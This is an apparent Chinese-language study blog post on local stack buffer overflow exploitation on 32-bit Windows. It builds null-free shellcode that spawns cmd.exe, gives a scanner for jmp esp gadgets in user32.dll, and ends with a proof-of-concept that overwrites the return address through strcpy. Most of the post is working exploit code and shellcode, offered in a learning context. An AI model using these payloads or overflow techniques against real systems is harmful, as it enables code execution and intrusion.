突然想起之前有一个问题没解决,正好趁着今天精力充沛,必须拿下!
前景回忆与复习,本地缓冲区溢出关键在于我们调用函数后的返回地址可以被我们用任意地址覆盖,那么我们就可以让计算机执行那个地址的代码,而那串代码所在的是我们精心构造的一个能弹出Dos窗口的shellcode。
那么问题来了,有时候我们的程序执行环境或者平台不同,shellcode的地址就可能会改变,所以怎么准确执行shellcode,换句话说,怎么动态定位shellcode的地址就成了我今天要介绍的主题?
经过一度搜索与提示,我们可以用系统核心dll里的指令jmp esp来完成跳转!据说,这一技巧很灵验和通用。(迫不及待试一试!)
百度百科了一下:Windows的系统核心dll包括kernel32.dll、user32.dll、gdi32.dll。这些dll—直位于内存中,而且对应于固定的版本,Windows加载的位置是固定的。
因此,接下来我们就要找出jmp esp作为跳板从而动态定位shellcode。
原理介绍:
总之,纸上谈兵不好用,还是实践吧!
首先,写出一个弹出Dos窗口C语言程序:
#include "windows.h"
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
WinExec("cmd.exe",5);
ExitProcess(0);
return 0;
}
进入汇编模式,写出重点汇编代码:
但是根据自己的理解习惯改写了汇编:
#include "windows.h"
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//WinExec("cmd.exe",5);
//ExitProcess(0);
__asm
{
push ebp
mov ebp,esp
sub esp,48h
xor eax,eax //eax清0
push eax //“0x00”,用于分割字符串
mov eax,0x6578652e //".exe"的十六进制
push eax
mov eax,0x646d63 //"cmd"的十六进制
push eax
mov eax,esp
push 5
push eax
mov eax,0x7C8623AD
call eax
cmp esi,esp
xor ebx,ebx
push ebx
mov ebx,0x7C81CAFA
call ebx
mov esp,ebp
pop ebp
}
return 0;
}
调试模式,反汇编提取机器码:
如下:
\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D
可是我们发现其中有个\x00:
一般这样的是忌讳,出现这种原因是压栈时字符串长度不够,当然此时我们可以利用之前的shellcode编码之异或进行消除,但为了拓展,这里使用另一种方法,参考下面:
现在就是:
#include "windows.h"
//char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//WinExec("cmd.exe",5);
//ExitProcess(0);
__asm
{
push ebp
mov ebp,esp
xor eax,eax //eax清0
push 0x3f657865 //"exe?"的十六进制
push 0x2e646d63 //"cmd."的十六进制
mov [esp+7],eax //把"?"换成0
mov ebx,esp //cmd.exe的地址
push ebx
mov ebx,0x7C8623AD
call ebx
xor ebx,ebx
push ebx
mov ebx,0x7C81CAFA
call ebx
mov esp,ebp
pop ebp
}
return 0;
}
从上面图可以知道,没有出现00,但是可以执行成功!这个时候就可以把shellcode提取出来!Good!
#include "windows.h"
//char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
char shellcode[]="\x55\x8B\xEC\x33\xC0\x68\x65\x78\x65\x3F\x68\x63\x6D\x64\x2E\x89\x44\x24\x07\x8B\xDC\x53\xBB\xAD\x23\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
__asm
{
lea eax,shellcode
push eax
ret
}
return 0;
}
可以看到,两个shellcode长度有差距!shellcode还缩小了。
接下来就是找找jmp esp的位置了,这里又是一个难点与关键点,我在这里卡了好久!!!我不会找,只能百度:
参考链接:https://blog.csdn.net/qq_41683305/article/details/104303554
然后直接盗用了别人的成果:
#include "stdafx.h"
#include<windows.h>
#include<iostream.h>
#include<tchar.h>
int main()
{
int nRetCode=0;
bool we_load_it=false;
HINSTANCE h;
TCHAR dllname[]=_T("user32");
h=GetModuleHandle(dllname);
if(h==NULL)
{
h=LoadLibrary(dllname);
if(h==NULL)
{
cout<<"ERROR LOADING DLL:"<<dllname<<endl;
return 1;
}
we_load_it=true;
}
BYTE* ptr=(BYTE*)h;
bool done=false;
for(int y=0;!done;y++)
{
try
{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
{
int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}
if(we_load_it)
FreeLibrary(h);
return nRetCode;
}
难道这些都是吗?还是要一个一个试?
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x41\x41\x41\x41" //str[0]~str[3]
"\x41\x41\x41\x41" //str[4]~str[7]
"\x41\x41\x41\x41" //覆盖ebp
"\x78\x3c\xd9\x77" //esp的地址覆盖eip地址"\x78\x3c\xd9\x77"
"\x55\x8B\xEC\x33\xC0\x68\x65\x78\x65\x3F\x68\x63\x6D\x64\x2E\x89\x44\x24\x07\x8B\xDC\x53\xBB\xAD\x23\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D"; //shellcode
int main()
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
char str[8];
strcpy(str,shellcode);
for(int i=0; i<58 && str[i]; i++)
{
printf("\\0x%x", str[i]);
}
return 0;
}